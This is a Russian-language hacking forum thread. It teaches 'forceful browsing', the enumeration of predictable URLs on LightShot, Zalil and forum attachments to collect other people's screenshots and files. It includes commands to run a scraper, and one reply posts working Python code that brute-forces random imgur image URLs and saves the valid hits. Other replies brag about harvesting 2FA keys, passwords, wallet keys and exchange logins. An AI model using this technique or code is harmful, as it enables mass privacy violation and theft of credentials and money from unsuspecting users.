Какие сриншоты делают твои соседи?

Combat

Постоялец
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА

Combat

Постоялец
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
19 Окт 2018
Сообщения
815
Реакции
582
Репутация
0
Копипаст Привет, Анон. Сегодня я хочу тебе рассказать о такой штуке, как Forceful browsing. Это очень интересная уязвимость/особенность, которая встречается на разнообразных ресурсах. Она максимально простая в реализации, но очень эффективная. Достаточно часто с помощью неё можно найти разные интересные архивы, изображения и другие документы. Чем мы собственно и займемся в этой статье. Делай чай, присаживайся удобней и читай с удовольствием.
Что такое Forceful Browsing?
Дело в том, что многие называют эту атаку/особенность по-разному. Точного толкового перевода нет, но нам он и не нужен. Нам нужна суть. А она заключается в том, что сервис или сайт имеет прогнозированный алгоритм присвоения имени URL без должной защиты. Его можно перебрать с помощью метода грубой силы.
Чтобы стало понятней, давайте посмотрим на практике. Например, у нас есть файлообменник site.com. Все файлы, которые заливают юзеры получают примерно такой URL:
site.com/files/4tewfvw3
Например, изменив значение последнего символа, мы получаем доступ к файлу, который загрузил другой пользователь.
site.com/files/4tewfvw2
Дело в том, что это также можно провернуть с пользователями, страницами и т.д. Например, в конкретном случае с файлообменником. Мало кто задумывается, в какие руки могут попасть данные. Да и очень просто автоматизировать процесс и получить все возможные комбинации. Для этого достаточно отфильтровать запросы по коду ошибки несуществующей страницы.
Как показывает практика, очень часто пользователи не задумываются о безопасности своих личных данных. Выкладывают скриншоты, среди которых номера банковских счетов, личные фото, переписки и т.д. В архивах можно найти отчеты, документацию, а также много других интересных данных. Давайте посмотрим, какие популярные сервисы позволяют воспользоваться такой уязвимостью.
LightShot
Очень популярная утилита для создания быстрых скриншотов. Позволяет загружать их прямо на сервер. После чего, получаем URL, которым можно поделиться. Ссылки выглядят примерно вот так:

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

6kjg

Отличие между скриншотами, только одна цифра в URL.

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

3kjg


Как видим, достаточно изменить только один символ и получаем другое изображение. В первом случае, видим какой-то скриншот покер рума, а во втором скриншот перевода на QIWI-кошелек. Неплохо, учитывая то, что это были две рандомные ссылки.
Как автоматизировать поиск по LightShot?
Дабы ускорить результат можно воспользоваться утилитой

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Скачиваем и запускаем на Kali Linux с помощью команд:
git clone

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.


cd prntscrScraper
python3 code-python3.py 10 // в конце указываем количество потоков


Видим лог работы. Валидные результаты попадают в папку, где мы можем проанализировать их содержание. На практике можно найти скриншоты личных кабинетов, админки сайтов, письма с почт, регистрационные коды, торговые платформы и т.д. Главное — хорошо поискать среди тонны бесполезного контента.

Zalil
Раньше этот файлообменник пользовался большой популярностью. Можно было быстро загрузить файлы и поделиться ссылкой. Немного меньше успешных комбинаций, но также можно скачать файлы. Не сложно реализовать скрипт, который будет перебирать возможные комбинации и скачивать файлы. Ссылка на залитый файл выглядит вот так:

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.




Еще его особенность заключается в том, что некоторые файлы попадают в индекс. И их также можно искать с помощью операторов поиска. Я думаю, также можно использовать как вспомогательный инструмент для других задач.

Форумы
Очень часто, можно провернуть подобную фишку и на форумах. После регистрации можно прикреплять скриншоты к постам, но предварительно загрузив их на сам ресурс. После этого попытаемся изменить запрос и получаем результат. Вот пример начального URL:

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

239347&stc=1&d=1544548855

Достаточно поменять только первую цифру и получаем чей-то скриншот. Иногда так бывает, что для личных сообщений нужно также прикреплять скриншоты. Поэтому есть шанс спарсить другие важные данные.

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

139347&stc=1&d=1544548855

Заключение
Идея заключается в том, чтобы проверять возможность скролить по файлам. Очень часто пользователи загружают файлы и не думают, что там могут быть их персональные данные, доступы, а также другая конфиденциальная информация. Я думаю, что идея, как можно использовать такую атаку/особенность, ясна и понятна всем.
Хочу добавить, что далеко не все файлообменники и сервисы позволяют так делать. Например, Mega генерирует ссылку с помощью алгоритма Lotus Domino v6. Другие файлобменники используют старый MD5. Это практически ограничивает возможность для перебора, так как это очень затратно по времени и ресурсам. Поэтому нужно искать варианты, где комбинация файла без преобразований записывается в URL, как в примере с LightShot и Zalil.
 

kain_iisu

Активный участник

kain_iisu

Активный участник
Регистрация
7 Июл 2018
Сообщения
50
Реакции
25
Репутация
0

Mrs.JJ.Brooke

Участник

Mrs.JJ.Brooke

Участник
Регистрация
2 Фев 2019
Сообщения
14
Реакции
4
Репутация
0
И вы не предствляете что можно найти в этих скриншотах) Люди часто скринят 2fa ключи. Текстовики с паролями. Приватные ключи электронных кошельков...
 

yugeniy

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА

yugeniy

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
17 Окт 2018
Сообщения
490
Реакции
121
Репутация
1
Очень интересно, в ручную вводил, попался скрин с лог\пас к бирже крипты, правда скамовской биржи)
 

fantaser

Участник
ЮБИЛЕЙНАЯ ЛЕНТА

fantaser

Участник
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
27 Июн 2018
Сообщения
30
Реакции
8
Репутация
0
Модифицировал код сканера картинок LightShot
Теперь не так "пачкает" в папке с самой программой и ставит врененную метку перед названием файла.
На случай если файл удален а по этому линку уже другой файл
Python:
#Credits to 'nazarpechka' for helping out with this code

import string, random, os, sys, _thread, httplib2, time
# from PIL import Image

if len(sys.argv) < 2:
    sys.exit("\033[37mUsage: python3 " + sys.argv[0] + " (Number of threads)")
THREAD_AMOUNT = int(sys.argv[1])

print ("=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=\nThis script is for educational purposes only! Use on your own responsibility!\n=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=")
input("Press ENTER if you have read and accept that you are fully responsible for using this script!\n")

INVALID = [0, 503, 5082, 4939, 4940, 4941, 12003, 5556]

def scrape_pictures(thread):
    while True:
        #url = 'http://img.prntscr.com/img?url=http://i.imgur.com/'
        url = 'http://i.imgur.com/'
        length = random.choice((5, 6))
        if length == 5:
            url += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(5))
        else:
            url += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(3))
            url += ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(3))
            url += '.jpg'
            # print (url)


            filename = 'files/' + str(time.time()) + url.rsplit('/', 1)[-1]
            #filename = 'files/' + url.rsplit('/', 1)[-1]
            # print (filename)

            h = httplib2.Http('cache/.cache' + thread)
            response, content = h.request(url)
            out = open(filename, 'wb')
            out.write(content)
            out.close()

            file_size = os.path.getsize(filename)
            if file_size in INVALID or file_size < 10000:
                #print("[-] Invalid: " + url + "\n------------------ SIZE INVALID: " + str(file_size))
                os.remove(filename)
            else:
                print("[+] Valid: " + url + "\n=================== SIZE VALID: " + str(file_size))

for thread in range(1, THREAD_AMOUNT + 1):
    thread = str(thread)
    try:
        _thread.start_new_thread(scrape_pictures, (thread,))
    except:
        print('Error starting thread ' + thread)
print('Succesfully started ' + thread + ' threads.')

while True:
    time.sleep(1)
Так же написат парсер под zalil.su
Прямое скачивание реализовать не удается пока что, но)))
Парсит сайт и складывает годные html в папку.
Кому надо - в личку

П.С. Если у кого есть линк на файлообменники без md5 - буду благодарен, напишу парсеры и поделюсь кодом)
 

Balerina42

Участник

Balerina42

Участник
Регистрация
16 Янв 2019
Сообщения
5
Реакции
0
Репутация
0
Работет , спасибо за статью
 
Сверху